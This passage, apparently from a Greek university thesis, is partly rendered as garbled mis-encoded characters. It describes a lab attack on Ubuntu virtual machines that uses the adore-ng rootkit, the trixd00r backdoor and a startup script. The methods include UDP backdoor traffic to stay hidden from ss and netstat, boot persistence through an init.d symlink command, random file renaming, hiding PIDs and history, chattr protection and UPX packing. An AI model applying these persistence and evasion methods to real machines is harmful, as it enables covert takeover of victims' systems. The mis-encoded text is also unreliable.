Πην ζπγθεθξηκέλα, θαηά ηε δεκηνπξγία backdoor επηθνηλσλίαο κεηαμύ ησλ δύν ππνινγηζηώλ, 

βαζηδόκελνη ζε TCP ζύλδεζε, παξαηεξήζακε κέζσ ησλ εληνιώλ ss θαη netsat, πσο ήκαζηαλ νξαηνί ζην 

ζύζηεκα. Αιιάδνληαο, ινηπόλ, ηε ζύλδεζε από ην TCP ζε UDP, ακέζσο γίλακε αόξαηνη ζηα κάηηα ησλ 

εληνιώλ απηώλ. Οπόηε ε ρξήζε ηεο backdoor ζύλδεζεο ζα γίλεηαη ζε UDP (βιέπε Δηθόλα 23). 

 

Εικόνα 23: Επικοινυνία ςπολογιζηών μέζυ UDP. 

Επιπλζον ο χριςτθσ για να επιτφχει τθ μζγιςτθ αςφάλεια, δθλαδι να παραμζνει όςο το δυνατόν 

καλφτερα κρυμμζνοσ ςτο ςφςτθμα, καλεί τθ χριςθ των προγραμμάτων αυτϊν  μζςω τθσ 

δθμιουργίασ script αρχείου ςε μορφι bash. Αυτό κα πραγματοποιεί τθν αυτόματθ ςφνδεςθ των δφο 

υπολογιςτϊν, μζςω τθσ χριςθσ του trixd00r, κατά τθν εκκίνθςθ του υπολογιςτι του κφματοσ, κακϊσ 

και τθν εγκατάςταςθ του rootkit που βρίςκεται εντόσ αυτοφ. Με τον τρόπο αυτό ο χριςτθσ δεν 

χρειάηεται κάκε φορά που επικυμεί να ειςβάλει ςτο ςφςτθμα του κφματοσ να κάνει χριςθ τθσ ssh, 

προκειμζνου να τρζξει τα κακόβουλα λογιςμικά (βλζπε Εικόνα 24). Επιπλζον, κα πρζπει να τονιςτεί 

πωσ το script αυτό από τθ ςτιγμι που κα εκτελείται κάκε φορά κατά τθν εκκίνθςθ του υπολογιςτι κα 

ζχει δικαιϊματα υπερχιςτθ. 
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Εικόνα 24: Script εκκίνηζηρ ηυν λογιζμικών. 

Δπί πξνζζέησο, ν ρξήζηεο γηα λα δπζθνιέςεη ηε δηαδηθαζία forensics ζε πεξίπησζε αλάιπζεο ηνπ 

ππνινγηζηή, κπνξεί λα θάλεη ρξήζε ηεο εληνιήο random πξνθεηκέλνπ, θαηά ηελ εθθίλεζε ηνπ 

ππνινγηζηή, νη θάθεινη θαζώο ηα αξρεία ησλ adore θαη trixd00r λα παίξλνπλ ηπραία νλόκαηα (myapp.sh 

γξακκε θώδηθα 3). Με ηνλ ηξόπν απηό γίλεηαη πην δύζθνιε ε εύξεζε ηνπ ινγηζκηθνύ (βιέπε Δηθόλα 25). 

 

Εικόνα 25: Μεηονομαζία trixd00r και adore. 

 Γλσξίδνπκε όκσο πσο θάζε δηεξγαζία πνπ πξαγκαηνπνηείηαη ζε έλα ιεηηνπξγηθό ζύζηεκα, παίξλεη 

απηνκάησο θαη έλα δηθό ηνπ αξηζκό δηεξγαζίαο ή αιιηώο processID,  όπσο είλαη θαη γλσζηό. Σπλεπώο ν 

ρξήζηεο-ζύηεο ζα έρεη ηελ δπλαηόηεηα ρξήζεο ηνπ bashscript ην νπνίν ζα θαιεί ην rootkit κε ζθνπό ηελ 

εμαθάληζε απηνύ ηνπ processID πνπ αλαθέξεηαη ζηελ επηθνηλσλία ησλ δύν ππνινγηζηώλ (βιέπε Δηθόλα 

26) (myapp.shγξακκε θώδηθα 52 έσο 54). 

 

Εικόνα 26: Εξαθάνιζη ηος processID για ηη ζύνδεζη ηυν ςπολογιζηών. 

Γελ απαηηείηαη όκσο λα αθνινπζήζνπκε θάπνηα αληίζηνηρε δηαδηθαζία γηα λα θξύςνπκε ηε ζύλδεζε από 

εληνιέο ζάξσζεο δηθηύνπ κηαο θαη, όπσο αλαθέξακε πην πάλσ, ε backdoor ζύλδεζε κεηαμύ ησλ δύν 

κεραλεκάησλ είλαη κε νξαηή (stealth). 

4.1.2 Διαγράμματα Σάξεων 2
ης

 έκδοσης(ClassDiagrams) 

Έρνληαο ινηπόλ πξαγκαηνπνηήζεη ηηο ηξνπνπνηήζεηο ζηε δηαδηθαζία θαη ηνλ ηξόπν επίζεζήο καο 

θαηαιήγνπκε ζην ζπκπέξαζκα ηεο ύπαξμεο δύν θαθόβνπισλ ινγηζκηθώλ θαη ελόο script αξρείνπ πνπ ζα 

δηαζθαιίδεη ηελ θαιύηεξε αζθάιεηά καο κέζα ζην ζύζηεκα ηνπ ζύκαηνο. Δηδηθόηεξα, ζα έρνπκε όπσο 

θαη πξνεγνπκέλσο ηνadore-ng (rootkit) θαη ην trixd00r (backd00r), θαη πιένλ θαη ην myapp.sh (script) 

(βιέπε Δηθόλα 27). 
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Εικόνα 27: Μοπθή λογιζμικών πος θα σπηζιμοποιηθούν για ηην επίθεζη ζηο θύμα. 

4.1.3 Διαγράμματα Αντικειμένων 1
η

 έκδοση 

 

Εικόνα 28: Διάγπαμμα Ανηικειμένυν. 

Σην Γηάγξακκα Αληηθεηκέλσλ πνπ απεηθνλίδεηαη παξαπάλσ παξαηεξνύκε, ζηελ πεξίπησζή καο, ηα 

αξρεία από ηα νπνία απαξηίδνληαη νη ππνινγηζηέο αιιά θαη ηα δηθαηώκαηα πνπ έρνπλ νη ρξήζηεο (βιέπε 

Δηθόλα 28). 

 

4.1.4 Διαγράμματα ΢υνεργασίας 1
η

 έκδοση 

Σε απηό ην θνκκάηη ηεο κειέηεο καο ζα παξνπζηάζνπκε ηνλ ηξόπν κε ηνλ νπνίν ηα δηαθνξεηηθά 

αληηθείκελα ζρεηίδνληαη θαη αληαιιάζζνπλ κελύκαηα κεηαμύ ηνπο θαηά ηελ εθηέιεζε δηεξγαζηώλ γηα ηελ 

επίζεζε πξνο ην ζύκα. 
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Εικόνα 29: Είζοδορ ζηο Λειηοςπγικό Σύζηημα. 

Παξνπζίαζε ηεο αληαιιαγήο κελπκάησλ θαηά ηε δηάξθεηα εηζόδνπ ηνπ ρξήζηε-επηηηζεκέλνπ ζην 

ιεηηνπξγηθό ζύζηεκα ηνπ ππνινγηζηή ηνπ ζύκαηνο θαη ηε κεηέπεηηα πξόζβαζή ηνπ ζηα θαθόβνπια 

ινγηζκηθά (βιέπε Δηθόλα 29). 

 

Εικόνα 30: Είζοδορ ζηον ςπολογιζηή ηος θύμαηορ. 

Σην παξαπάλσ δηάγξακκα βιέπνπκε ηελ αιιειεπίδξαζε ησλ αληηθεηκέλσλ πνπ ζρεηίδνληαη κε ηελ 

δηαδηθαζία εηζόδνπ ηνπ ρξήζηε ζηνλ ππνινγηζηή ηνπ ζύκαηνο κε δηθαηώκαηα ππεξρξήζηε. 

4.1.5 Διαγράμματα ΢ειράς 1
η

 έκδοση 

Σην ηκήκα απηό ηεο κειέηεο καο ζα παξνπζηάζνπκε ηε ρξνληθή αλαπαξάζηαζε ησλ αληηθεηκέλσλ θαη 

ησλ αιιειεπηδξάζεώλ ηνπο. Πην ζπγθεθξηκέλα, ζα δνύκε πσο ηα θαθόβνπια ινγηζκηθά αιιειεπηδξνύλ 

θαη εηδηθόηεξα ηα trixd00r πνπ είλαη εγθαηεζηεκέλα ζηα δύν κεραλήκαηα θαη πσο αλαπαξίζηαληαη όια 

απηά ρξνληθά. 
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Εικόνα 31: Φπονική αναπαπάζηαζη και αλληλεπίδπαζη ενεπγειών. 

4.1.6 Διαγράμματα Δραστηριοτήτων 1
η

 έκδοση 

Σην ζπγθεθξηκέλν ηκήκα ηεο κειέηεο καο ζα αλαιύζνπκε ηε ζπκπεξηθνξά ησλ ιεηηνπξγηώλ ησλ 

θαθόβνπισλ ινγηζκηθώλ καο σο ζύλνιν ελεξγεηώλ. Πξνθεηκέλνπ ε επίζεζε λα είλαη επηηπρήο, ζα πξέπεη 

ηα ινγηζκηθά καο (adore-ng, trixd00r) όπσο θαη ην script λα πξαγκαηνπνηήζνπλ κία ζεηξά από ελέξγεηεο. 
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Εικόνα 32: Διάγπαμμα Δπαζηηπιοηήηυν trixd00r. 

Σην παξαπάλσ δηάγξακκα θαίλεηαη ην ζύλνιν ελεξγεηώλ ηνπtrixd00r πξνθεηκέλνπ λα επηηεπρζεί ε 

ζύλδεζε κεηαμύ ησλ κεραλεκάησλ ηνπ ζύηε θαη ηνπ ζύκαηνο. 
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Εικόνα 33: Διάγπαμμα Δπαζηηπιοηήηυν adore-ng. 

Σην Γηάγξακκα Γξαζηεξηνηήησλ ηνπ adore θαίλεηαη ε δηαδηθαζία εγθαηάζηαζήο ηνπ πνπ απαηηείηαη θάζε 

θνξά θαηά ηελ εθθίλεζε ηνπ ππνινγηζηή, θαζώο θαη ε ελέξγεηα κεηνλνκαζίαο αξρείσλ γηα ηε 

δηαζθάιηζή ηνπο από ην ζύζηεκα ηνπ ζύκαηνο. 
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Εικόνα 33: Διάγραμμα Δραςτηριοτήτων myapp.sh 

Σζλοσ παρατθροφμε τισ διεργαςίεσ που κα πρζπει να πραγματοποιεί το script κάκε φορά κατά τθν 

εκκίνθςθ του μθχανιματοσ του κφματοσ. 

4.2 Τλοποίηση και Έλεγχος 

4.2.1 Τλοποίηση : 1
η

 εκτελέσιμη έκδοση 

Σο ςτάδιο αυτό τθσ υλοποίθςθσ αφορά τθν πραγματοποίθςθ τθσ επίκεςθσ του κφτθ πάνω ςτον 

υπολογιςτι του κφματοσ, με ςκοπό τον πλιρθ ζλεγχο του υπολογιςτι αυτοφ με δικαιϊματα 

υπερχριςτθ και φυςικά χωρίσ τθν γνϊςθ του κφματοσ. Όςον αφορά τθν εγκατάςταςθ των λογιςμικϊν 
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για τον κφτθ είναι ίδια με αυτιν που αναφζραμε ςτο κεφάλαιο Δθμιουργία Εργαςτθριακοφ 

Περιβάλλοντοσ. ΢χετικά όμωσ με το κφμα κα γίνει αναφορά παρακάτω. Επίςθσ, ςυνοπτικά κα 

αναφζρουμε μόνο ότι εργαηόμαςτε ςε εικονικά μθχανιματα Linux ζκδοςθσ Ubuntu 12.04, που ανικουν 

ςτο ίδιο δίκτυο και τα λογιςμικά μασ είναι το adore-ng, trixd00r-0.0.1, κακϊσ και ζνα script myapp.sh. 

΢ε αυτό το ςθμείο κα πρζπει να αναφζρουμε πωσ για λόγουσ περιςςότερθσ αςφαλείασ, όταν 

μεταφζρουμε τα αρχεία ςτον υπολογιςτι του κφματοσ ςυνετό είναι να βγοφμε από αυτόν και να τα 

αφιςουμε να εκτελεςτοφν κατά τθν επανεκκίνθςθ του υπολογιςτι αυτοφ. Ο λόγοσ που γίνεται αυτό 

είναι για να μειϊςουμε τον χρόνο κατά τον οποίο είμαςτε εκτεκειμζνοι-ορατοί ςτο ςφςτθμα του 

κφματοσ, μιασ και θ εντολι ssh ςου παρζχει πρόςβαςθ αλλά ορατι. Βζβαια, αν επικυμοφμε μποροφμε 

να κάνουμε ςτο κφμα τθν εγκατάςταςθ του adore-ng, όπωσ είπαμε ςτο δεφτερο κεφάλαιο (μζςω τθσ 

 shh). Σο αρνθτικό κομμάτι ςτο να αφιςουμε τα αρχεία μασ να εγκαταςτακοφν μετά τθν επανεκκίνθςθ 

του υπολογιςτι είναι πωσ κα είναι ορατά ςτο κφμα. Γι’ αυτό το λόγο καλό είναι να τουσ δϊςουμε άλλθ 

ονομαςία, με ςυγκεκριμζνεσ όμωσ καταλιξεισ. Δθλαδι, αντί για το trixd00r-0.0.1 κα ζχουμε myapp-

masters (με κατάλθξθ το masters) και για το adore-ng myapp-master(με κατάλθξθ το masters). Για 

οποιάδιποτε αλλαγι ςτισ αρχικζσ ονομαςίεσ των λογιςμικϊν απαιτείται και θ αντίςτοιχθ αλλαγι ςτον 

κϊδικα του myapp.sh (γραμμι κϊδικα 12).Παρακάτω κα δείξουμε μόνο τον τρόπο εγκατάςταςθσ 

του script myapp.sh ςτο ςφςτθμα του κφματοσ, κακϊσ δεν το  αναλφςαμε ςτο προθγοφμενο κεφάλαιο 

λόγω του ότι προςτζκθκε ςτθν πορεία τθσ εργαςίασ (βλζπε Εικόνα 

34).

 

Εικόνα 34: Εγκαηάζηαζη myapp.sh. 

Όπωσ προείπαμε ςε προθγοφμενο κεφάλαιο κζλουμε το αρχείο myapp.sh να εκτελείται κάκε 

φορά κατά τθν εκκίνθςθ του υπολογιςτι, ςυνεπϊσ κα πρζπει να βρίςκεται ςε ςυγκεκριμζνο μονοπάτι. 

Ειδικότερα, κα τοποκετθκεί ςτο φάκελο /etc/init.d και επειδι το λειτουργικό ςφςτθμα τρζχει ςε level 2 

κα δθμιουργιςουμε ζνα soft link του αρχείο μασ με το rc2.d (και ονομαςίασ S99my), δίνοντασ τθν 

εντολι: 

ln -s ../etc/init.d/myapp.sh  ../etc/rc2.d/S99my. 

Με τον τρόπο αυτό κάκε φορά που κα εκκινεί ο υπολογιςτισ του κφματοσ αυτόματα κα εκτελοφνται τα 

λογιςμικά μασ. ΢το ςθμείο αυτό κα πρζπει να γίνει αναφορά ςε δφο πράγματα. Πρϊτον, το αρχείο μασ 

κατά τθν εκτζλεςι του κα ψάξει να βρει τα λογιςμικά μασ, ςυνεπϊσ κα πρζπει τα μονοπάτια που 

βρίςκονται τα λογιςμικά μασ να είναι ςυμβατά με αυτά του αρχείου μασ. Σελευταίο και ςθμαντικότερο, 

τα δφο λογιςμικά μασ για τθν εκτζλεςι τουσ απαιτοφν δικαιϊματα υπερχριςτθ. Ο λόγοσ λοιπόν που 

βάλαμε το αρχείο μασ να τρζχει τα λογιςμικά κατά τθν εκκίνθςθ είναι πωσ ότι διαδικαςία εκτελείται 

κατά το initialization του ςυςτιματοσ κεωρείται ζμπιςτθ και ςυνεπϊσ παίρνει δικαιϊματα υπερχριςτθ. 

Επιπλζον δεν απαιτείται θ γνϊςθ του κωδικοφ πρόςβαςθσ ςτθν περίπτωςθ αλλαγισ αυτοφ. 
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To κομμάτι που κα υλοποιιςουμε είναι θ φάςθ τθσ επίκεςθσ μζςω του trixd00r ςτον υπολογιςτι 

του κφματοσ. ΢τθν εικόνα που ακολουκεί μποροφμε να δοφμε αναλυτικά πωσ πραγματοποιείται 

επιτυχϊσ θ επίκεςθ αυτι, βαςιηόμενθ ςτα βιματα που ζχουμε προαναφζρει (βλζπε Εικόνα 35). Να 

ςθμειωκεί πωσ θ επίκεςθ γίνεται μετά τθν επανεκκίνθςθ του υπολογιςτι του κφματοσ. 

 

Εικόνα 35: Επίθεζη με trixd00r. 

Όπωσ βλζπουμε ςτθν εικόνα παραπάνω ο κφτθσ πραγματοποιεί επίκεςθ ςτο ςφςτθμα του 

κφματοσ μζςω του λογιςμικοφ trixd00r, όπωσ προείπαμε. Σο πρϊτο πράγμα που διακρίνουμε ςτον 

υπολογιςτι του κφματοσ είναι ότι δεν φαίνεται ςτο terminal να τρζχει το trixd00r. Αυτό είναι λογικό 

αφοφ τθ ςυγκεκριμζνθ δουλειά τθν ζχει αναλάβει το myapp.sh κατά τθν εκκίνθςθ του υπολογιςτι. 

΢υνεπϊσ δεν απαιτείται κάποια ενζργεια από τον επιτικζμενο για τθ διαςφάλιςθ τθσ επίκεςισ του. 

΢χετικά με τον υπολογιςτι του κφτθ παρατθροφμε κάποιεσ παραμζτρουσ κατά τθν εκτζλεςθ 

του backdoor λογιςμικοφ και τισ οποίεσ κα εξθγιςουμε εν ςυντομία. Η παράμετροσ  -h υποδθλϊνει τθν 

ΙΡ διεφκυνςθ του κφματοσ, -t ςε ποιο πακζτο τθσ επικοινωνίασ κα βρίςκεται το «μαγικό» πακζτο 

προκειμζνου να ξεκινιςει θ backdoor επικοινωνία μεταξφ των δφο υπολογιςτϊν. H παράμετροσ -s 

υποδθλϊνει τι είδουσ επικοινωνία κα ζχουμε, και εμείσ ζχουμε επιλζξει ςτθν δικιά μασ 

περίπτωςθ UDP. Όςον αφορά τισ δφο τελευταίεσ παραμζτρουσ θ -p αναφζρεται ςε ποια πόρτα κα γίνει 

θ επίκεςθ, ενϊ θ παράμετροσ -v μασ εμφανίηει μθνφματα για να γνωρίηουμε αν θ ςφνδεςθ ζχει 

πραγματοποιθκεί. ΢τθν περίπτωςθ μασ φαίνεται κακαρά πωσ ζχουμε πάρει το shell του κφματοσ. 

΢υνεπϊσ το επόμενο βιμα είναι να διαπιςτϊςουμε κατά πόςο αυτό ιςχφει. Για τθν εξακρίβωςθ αυτι, 

κα δϊςουμε τθν εντολι ls για να δοφμε τι αρχεία κα μασ εμφανιςτοφν ςτθν οκόνθ μασ (βλζπε Εικόνα 

36).

 

Εικόνα 36: Επιβεβαίυζη επίθεζηρ μέζυ ενηολήρ ls 
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΢τθν εικόνα παραπάνω βλζπουμε πωσ δίνοντασ τθν εντολι ls μασ εμφανίηονται τα αρχεία του 

υπολογιςτι του κφματοσ. Ζνα ακόμα ςθμείο ςτο οποίο πρζπει να ςτακοφμε είναι πωσ το όνομα 

του trixd00r ςτον υπολογιςτι του κφματοσ ζχει αλλάξει και αντικαταςτακεί με τυχαίουσ χαρακτιρεσ. 

΢υνεπϊσ το script μασ εκτελζςτθκε με επιτυχία. Σο επόμενο βιμα που κα πρζπει να ελζγξουμε είναι 

κατά πόςο φαινόμαςτε ςτο ςφςτθμα του κφματοσ. Θα εκτελζςουμε ςτο κφμα μία ςειρά εντολϊν να 

δοφμε αν εντοπιηόμαςτε από τον υπολογιςτι (βλζπε Εικόνα 37). 

 

Εικόνα 37: Σάπυζη δικηύος θύμαηορ 

Πραγματοποιϊντασ ςάρωςθ δικτφου ςτο κφμα παρατθροφμε πωσ δεν είμαςτε ορατοί ςτο ςφςτθμα. Σο 

επόμενο βιμα είναι να δοφμε αν φαίνονται οι εντολζσ μασ ςτο history και αν εμφανίηονται οι εντολζσ 

μζςω των Process ID. Δίνοντασ λοιπόν τισ εντολζσ history και pgrep ζχουμε τα ακόλουκα αποτελζςματα 

(βλζπε Εικόνα 38). 

 

Εικόνα 38: Pgrep 

Μέζσ ηεο εληνιήο pgrep κπνξνύκε λα δνύκε αλ ην string πνπ έρνπκε δώζεη ζαλ παξάκεηξν ηη PID 

(ProcessID) έρεη. Ο ιόγνο πνπ δώζακε ζαλ string 6VNq θαη όρη π.ρ. trix (από ην trixd00r) είλαη γηαηί ην 

myapp.sh κεηνλόκαζε ην αξρείν ζε  6VNq3chY. Όκσο όπσο βιέπνπκε ην αξρείν καο δελ εκθαλίδεηαη 

ζηηο δηεξγαζίεο ηνπ ζπζηήκαηνο ηνπ ζύκαηνο. Τέινο, ζα δνύκε ην history ηη έρεη θαηαγξάςεη ζηε κλήκε 

(βιέπε Δηθόλα 39). 
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Εικόνα 39: History 

Όπσο βιέπνπκε θαη εδώ ζην history ησλ εληνιώλ δελ θαηλόκαζηε αιιά νύηε θαη νη εθηειέζεηο ησλ 

πξνγξακκάησλ θαηά ηελ εθθίλεζε ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο. Απηό είλαη όκσο ινγηθό αθνύ ηα 

ινγηζκηθά καο δελ αθήλνπλ λα γίλεη θαηαγξαθεί ζην history ηνπ ππνινγηζηή. 
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ΚΕΥΑΛΑΙΟ 5
Ο

 : ΚΑΣΑ΢ΚΕΤΗ 

5.1 Ανάλυση-΢χεδιασμός 

Ζχοντασ ςαν βάςθ τθν ζωσ τϊρα μορφι τθσ επίκεςισ μασ, τθν μεταφορά των αρχείων, τον τρόπο 

λειτουργίασ των λογιςμικϊν μασ κακϊσ και του script, καταλιγουμε ςτο ςυμπζραςμα πωσ υπάρχουν 

αδυναμίεσ ςτθν όλθ αυτι διαδικαςία, οι οποίεσ κα πρζπει να αντιμετωπιςκοφν για τθν περαιτζρω 

αςφάλεια απζναντι ςτο ςφςτθμα του κφματοσ. Σα λογιςμικά π.χ. εξακολουκοφν να ζχουν αρχεία 

άχρθςτα ςτο κομμάτι τθσ εκτζλεςθσ του λογιςμικοφ και τα οποία ιταν χριςιμα μόνο για το κομμάτι τθσ 

εγκατάςταςθσ. Επιπλζον ζχουν αδφναμθ προςταςία ςτθν περίπτωςθ που γίνουν αντιλθπτά από το 

κφμα. ΢υνεπϊσ, κα πρζπει να λθφκοφν αντίμετρα για τθν επίλυςθ αυτϊν των προβλθμάτων, όπωσ και 

άλλων που κα αναλφςουμε ςτθ ςυνζχεια. 

5.1.1 Διαγράμματα Περιπτώσεων Φρήσης (3
η

 έκδοση) 

Όπσο πξνείπακε κία ζεκαληηθή αδπλακία ζηελ επίζεζή καο είλαη ε ύπαξμε κε ρξήζηκσλ αξρείσλ ζηνλ 

ππνινγηζηή ηνπ ζύκαηνο θαζόζνλ απηό απμάλεη ηηο πηζαλόηεηεο εύξεζήο καο. Ο ρξήζηεο ζα πξέπεη λα 

έρεη ηελ δπλαηόηεηα λα κπνξεί λα δηαγξάθεη αξρεία ησλ ινγηζκηθώλ πνπ δελ ιακβάλνπλ πιένλ κέξνο ζην 

θνκκάηη ηεο επίζεζεο. Απηό κπνξεί λα πξαγκαηνπνηεζεί κε ηε βνήζεηα ηνπ script αξρείνπ καο (βιέπε 

Δηθόλα 40)(myapp.shγξακκε θώδηθα 19 έσο 27 θαη 37 έσο 39). 

 

Εικόνα 40: Διαγπαθή απσείυν ηυν λογιζμικών. 

Μία αθόκα αδπλακία πνπ ιακβάλεη ρώξα ζηε δηαδηθαζία ηεο επίζεζήο καο είλαη ε πξνζηαζία ησλ 

αξρείσλ καο ζηελ πεξίπησζε εύξεζεο απηώλ από ην ρξήζηε-ζύκα. Γηα ηνλ ιόγν απηό ζα πξέπεη λα 

ππάξρεη ε δπλαηόηεηα δεκηνπξγίαο δηθιίδαο αζθαιείαο γηα ηελ απόξξηςε δηαγξαθήο απηώλ από ην 

ζύζηεκα ηνπ ζύκαηνο. Γπζηπρώο, όκσο, ζηελ πεξίπησζε πνπ ην ζύκα απνθηήζεη δηθαηώκαηα 

ππεξρξήζηε δελ είλαη δπλαηή ε απνηξνπή απηήο ηεο ελέξγεηαο ζε κέγηζην βαζκό. Ο ζύηεο ζα κπνξεί λα 

θάλεη ρξήζε ηεο εληνιήο chattr +i, ε νπνία σο ξόιν έρεη λα δηαζθαιίδεη ηελ εθπαξαδξνκήο δηαγξαθή 

αξρείσλ(myapp.shγξακκε θώδηθα 57 θαη 58). Βέβαηα, αλ ην ζύκα αληηιεθζεί ηελ ύπαξμε απηήο ηεο 

εληνιήο ηα αξρεία καο ζα είλαη επάισηα απέλαληη ζην ζύκα (βιέπε Δηθόλα 41). 
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Εικόνα 41: Πποζηαζία ηυν απσείυν μαρ. 

Μία επηπιένλ ελέξγεηα πνπ κπνξεί λα πξαγκαηνπνηήζεη ν ρξήζηεο-ζύηεο γηα ηελ κεηέπεηηα δηαζθάιηζε 

ησλ αξρείσλ ηνπ είλαη εκε εκθάληζε ησλ αξρείσλ απηώλ κε ηε βνήζεηα ηνπ adore-ng (rootkit)(βιέπε 

Δηθόλα 42). 

 

Εικόνα 42: Κπύτιμο απσείυν. 

Χξεηάδεηαη ζε απηό ην ζεκείν λα ηνλίζνπκε πσο από ηε ζηηγκή πνπ ηα αξρεία καο ζα είλαη αόξαηα ζην 

ζύζηεκα θαη δεδνκέλνπ όηη παίξλνπκε ηπραία string γηα νλόκαηα, ζα απαηηείηαη ε ύπαξμε log αξρείνπ 

πνπ ζα θάλεη θαηαγξαθή ησλ νλνκάησλ ζηελ πεξίπησζε πνπ ν επηηηζέκελνο επηζπκεί κειινληηθά μαλά 

ηελ ρξήζε απηώλ ησλ αξρείσλ. Φπζηθά θαη ην αξρείν απηό ζα είλαη θξπκκέλν ζην ζύζηεκα ηνπ ζύκαηνο. 

Έσο ηώξα ζηελ εξγαζία καο έρεη γίλεη αλαθνξά ζρεηηθά κε ηελ πόξηα ζηελ νπνία ζα θαηαιήγνπλ 

ηα παθέηα καο. Με άιια ιόγηα κέζσ ηνπ trixd00r γίλεηαη αλαθνξά ζρεηηθά κε ην destinationport ησλ 

παθέησλ καο. Θα πξέπεη ν ρξήζηεο καο λα κπνξεί λα θαζνξίδεη θαη ηελ δηθηά ηνπ πόξηα από ηελ νπνία ζα 

απνζηέιινληαη ηα παθέηα. Απηό ζα βνεζήζεη θαη ζηελ θξππηνγξάθεζε ησλ παθέησλ καο όπσο ζα δνύκε 

θαη παξαθάησ. Απηό κπνξεί λα πξαγκαηνπνηεζεί κε ηελ ρξήζε ησλ iptables(βιέπε Δηθόλα 43) θαη δελ 

απαηηείηαη γηα ηελ ζπγθεθξηκέλε δηαδηθαζία ε ρξήζε ηνπ myapp.sh. Τν αξλεηηθό θνκκάηη ζην ζεκείν 

απηό είλαη πσο θαηά ηελ εθθίλεζε ηνπ ππνινγηζηή νη θαλόλεο απηνί ράλνληαη κε απνηέιεζκα λα πξέπεη 

λα ηνπο θνξηώλεη πάιη ζηα iptables. 
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Εικόνα 43: Κανόνερ iptables. 

Μία αθόκα ελέξγεηα πνπ έρεη δπλαηόηεηα λα πξαγκαηνπνηήζεη ν ρξήζηεο ζηε δηαδηθαζία αζθάιηζεο ησλ 

αξρείσλ από ην ζύζηεκα ηνπ ζύκαηνο, είλαη ην ιεγόκελν “packing”. Με ηνλ όξν απηό έλαο ρξήζηεο 

επηθαιείηαη έλαλ ινγηζκηθό packer (ζηελ δηθηά καο πεξίπησζε ην upx)  κε ζθνπό ώζηε ηα αξρεία ηνπ λα 

ζπκπηεζηνύλ κέζσ ηνπ πξνγξάκκαηνο απηνύ ζπξξηθλώλνληαο ηελ ρσξεηηθόηεηα ηνπο θαη θάλνληάο ηα 

έηζη πην δπζεύξεηα (βιέπε Δηθόλα 44).  

 

Εικόνα 44: Upxpackingfiles. 

5.1.2 Διαγράμματα Σάξεων 

Ζχοντασ λοιπόν πραγματοποιιςει τισ τροποποιιςεισ ςτθ διαδικαςία και τον τρόπο επίκεςι μασ 

καταλιγουμε ςτο ςυμπζραςμα τθσ φπαρξθσ δφο κακόβουλων λογιςμικϊν, ενόσ script αρχείου και ενόσ 

packer που ςε ςυνεργαςία όλα μαηί κα παρζχουν τθν καλφτερθ δυνατι αςφάλειά μασ μζςα ςτο 

ςφςτθμα του κφματοσ. Ειδικότερα, κα ζχουμε όπωσ και προθγουμζνωσ το adore-ng (rootkit), το 

trixd00r (backd00r), το myapp.sh (script) και πλζον το Upx (βιέπε Δηθόλα 45). 
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Εικόνα 45: Μορφή λογιςμικϊν που θα χρηςιμοποιηθοφν για την επίθεςη ςτο θφμα. 

5.1.3 Διαγράμματα Αντικειμένων 2η έκδοση 

Όςον αφορά το Διάγραμμα Αντικειμζνων, θ μόνθ αλλαγι που παρατθρείται είναι αυτι ςτο μθχάνθμα 

του κφματοσ με τθν τοποκζτθςθ του Upxpacker ςε αυτό (βιέπε Δηθόλα 46). Πζρα από αυτό δεν 

υφίςταται κάποια αλλαγι ςε ςχζςθ με το Διάγραμμα Αντικειμζνων του προθγουμζνου κεφαλαίου. 

 

Εικόνα 46: Διάγραμμα Αντικειμζνων. 

5.1.4 Διαγράμματα ΢υνεργασίας 2
η

 έκδοση 

Σε απηό ην θνκκάηη ηεο κειέηεο καο ζα παξνπζηάζνπκε, όπσο θαη πξνεγνπκέλσο, ηνλ ηξόπν κε ηνλ 

νπνίν ηα δηαθνξεηηθά αληηθείκελα ζρεηίδνληαη θαη αληαιιάζζνπλ κελύκαηα κεηαμύ ηνπο θαηά ηελ 

εθηέιεζε δηεξγαζηώλ γηα ηελ επίζεζε πξνο ην ζύκα. Δπεηδή, όκσο, ζην Γηάγξακκα Αληηθεηκέλσλ δελ 

παξνπζηάζηεθε θάπνηα δηαθνξά πέξα ηνπ ινγηζκηθνύ Upx, έηζη δελ ζα  έρνπκε κεγάιε απόθιηζε ζηα 

δηαγξάκκαηα κε απηά ηεο πξνεγνπκέλεο έθδνζεο (βιέπε Δηθόλα 47).  
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Εικόνα 47: Είζοδορ ζηο Λειηοςπγικό Σύζηημα και κακόβοςλα λογιζμικά. 

Παξνπζίαζε ηεο αληαιιαγήο κελπκάησλ θαηά ηε δηάξθεηα εηζόδνπ ηνπ ρξήζηε- επηηηζεκέλνπ ζην 

ιεηηνπξγηθό ζύζηεκα ηνπ ππνινγηζηή ηνπ ζύκαηνο θαη ηε κεηέπεηηα πξόζβαζή ηνπ ζηα θαθόβνπια 

ινγηζκηθά (βιέπε Δηθόλα 48). 

 

Εικόνα 48: Είζοδορ ζηον ςπολογιζηή ηος θύμαηορ. 

5.1.5 Διαγράμματα ΢ειράς 2
η

 έκδοση 

Όπωσ και ςτισ δφο προθγοφμενεσ υποενότθτεσ, ζτςι κι εδϊ, μιασ και τα αντικείμενά μασ είναι τα ίδια 

ζτςι και το διάγραμμα δραςτθριοτιτων κα είναι ίδιο με αυτό τθσ προθγουμζνθσ ενότθτασ. Πιο 

ςυγκεκριμζνα, λοιπόν, κα επαναλάβουμε πωσ τα κακόβουλα λογιςμικά αλλθλεπιδροφν και ειδικότερα 

τα trixd00r που είναι εγκατεςτθμζνα ςτα δφο μθχανιματα και πωσ αναπαρίςτανται όλα αυτά χρονικά. 
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Εικόνα 49: Χρονική αναπαράςταςη και αλληλεπίδραςη ενεργειϊν. 

΢το παραπάνω διάγραμμα παρατθροφμε τθ μθ ζνταξθ του packerUpx ςε αυτό. Ο λόγοσ για τον οποίο 

γίνεται αυτό είναι γιατί θ διαδικαςία ςυμπίεςθσ των αρχείων κα πραγματοποιθκεί μία φορά και αυτι 

μζςω του λογιςμικοφ trixd00r προκειμζνου να μθν αποκθκευτεί ςτθ μνιμθ του υπολογιςτι του 

κφματοσ. 

5.1.6 Διαγράμματα Δραστηριοτήτων 2
η

 έκδοση 

΢ε ςχζςθ με τισ προθγοφμενεσ υποενότθτεσ όπου δεν ςυναντιςαμε μεγάλεσ αλλαγζσ, ςε αυτι τθν 

παράγραφο υπάρχει διαφορά ςτα Διαγράμματα Δραςτθριοτιτων, που κα δοφμε παρακάτω, ςε ςχζςθ 

